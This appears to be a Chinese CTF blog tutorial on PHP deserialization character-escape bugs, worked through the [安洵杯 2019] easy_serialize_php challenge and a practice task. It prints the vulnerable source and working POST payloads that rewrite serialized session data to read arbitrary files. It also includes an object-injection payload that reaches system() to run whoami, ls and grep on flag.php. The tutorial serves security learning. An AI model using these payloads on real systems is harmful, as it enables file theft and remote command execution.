任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

php反序列化字符逃逸漏洞就是这么产生的,这里我们以一道题为例,讲解php反序列化字符逃逸

例题

题目来源:[安洵杯 2019]easy_serialize_php]

题目复现:[BUUCTF](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php)

可以查看源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

看到这题有session,我首先想到的是前面学过的session反序列化,然后想到了相关条件,嗯嗯…

然后开始分析,我们可以发现这有一个extract($_POST),存在变量覆盖,这里可能是一个突破点,然后我们发现如果我们GET传值一个?f=phpinfo,则可显示phpinfo的内容

查看session,发现这里没有自动创建session,源码也没有session_start();,可以暂时排除前面我们学习的session反序列化

img

然后我们继续看,发现auto_append_filed0g3_f1ag.php,看来是要读取这个文件

img

可以发现,在源码中有file_get_contents()这个函数,我们应该可以通过这个函数读取这个文件,然后我们往前看,看能否利用这个函数读取任意文件

这里的元素为$userinfo['img'],也就是$_SESSION['img'],这时发现

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

看到可以通过GET方式定义$_SESSION['img'],是不是很激动?白激动了,这有个sha1()加密呢,解不开呢,兄弟,那怎么搞呢?

这个时候就得回到主题php反序列化字符逃逸

讲解

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

先给出payload吧:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"lz2y";s:3:"yzq";}&function=show_image

把payload以POST的形式上传之后,由于我们没有GET传值img_path,所以不会对他进行shal()加密,而是添加一个$_SESSION['img'] = base64_encode('guest_img.png');,然后进行序列化,得到以下值:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"lz2y";s:3:"yzq";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

再经过filter()函数:

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

得到:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"lz2y";s:3:"yzq";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

这意味着什么呢?user本来有24个长度的字符,现在被filter()去掉了,这样user读到的字符为";s:8:"function";s:59:"a,后面的继续读,直到读满3个为之,即第三个为s:4:"lz2y";s:3:"yzq";,然后遇到}结束,后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}被当作错误元素忽略,成功传入$_SESSION['img'],实现$_SESSION['img']可控

_SESSION['user']=";s:8:"function";s:59:"a;
_SESSION['img']=ZDBnM19mMWFnLnBocA==;
_SESSION['lz2y']=yzq

然后base64_decode($userinfo['img'])解码,成功读取ZDBnM19mMWFnLnBocA==(即d0g3_f1ag.php),查看源码

img

那我们只需要再读取/d0g3_fllllllag就可以了

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"lz2y";s:3:"yzq";}&function=show_image

img

练习

题目:http://47.101.71.47:9000/

<?php
highlight_file(__FILE__);

class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

我们可以看到evil这个类可以用来执行cmd命令,这里应该是利用点,但是我们没有发现下面的代码创建这个类,然后看到了unserialize,考的应该是php的反序列化,这里通过write()修改了序列化后的内容,相当于改变了结构体的结构,可能会产生漏洞,这就是我们今天刚学的字符逃逸

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

进过write()这个函数之后,\0\0\0会变成N*N, 这里N表示为NULL,这样就成功多出三个字符,可以利用…

这题讲一下如何构造payload比较方便吧

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = 'lz2y';
$password = 'yzq6';

# To get payload
$r = new User($username, $password);
$r->add = new evil('whoami');
echo serialize($r);
/*
O:4:"User":3:{s:8:"username";s:4:"lz2y";s:8:"password";s:4:"yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
*/

根据前面的方法,我们需要使username的内容为:lz2y";s:8:"password";s:4:"yzq6,让s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}构成第二个元素,以实现构造evil这个类.而password应该为yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

现在要做的就是让username逃逸出一个字符,让他吞掉lz2y";s:8:"password";s:4:"yzq6了,我们前面已经说过\0\0\0经过write()之后,就会多出3个位置,原本为lz2y,现在多了";s:8:"password";s:4:"yzq6,即多了27个,我们需要创造27个字符的位置以容下他,所以我们需要9个\0\0\0.(写成\\0是为了防止被转码)

$username = 'lz2y\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0';
$password =  'yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';

# After serializing
/*
O:4:"User":2:{s:8:"username";s:58:"lz2y\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
*/

# After write()
/*
O:4:"User":2:{s:8:"username";s:58:"lz2yN*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:54:"yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
N-->NULL
*/

# [username] -> lz2yN*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:54:"yzq6
# [add] -> O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";  //creat a Class of evil()

然后发现成功回显whoami的执行结果,接下来就是拿到flag了,POST传值:

username=lz2y\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:2:"ls";}

读取flag.php内容

username=lz2y\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=yzq6";s:3:"add";O:4:"evil":1:{s:3:"cmd";s:20:"grep "flag" flag.php";}

参考文章

https://xz.aliyun.com/t/6911#toc-3

https://xz.aliyun.com/t/6718

http://hed9eh0g.top/?p=186

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...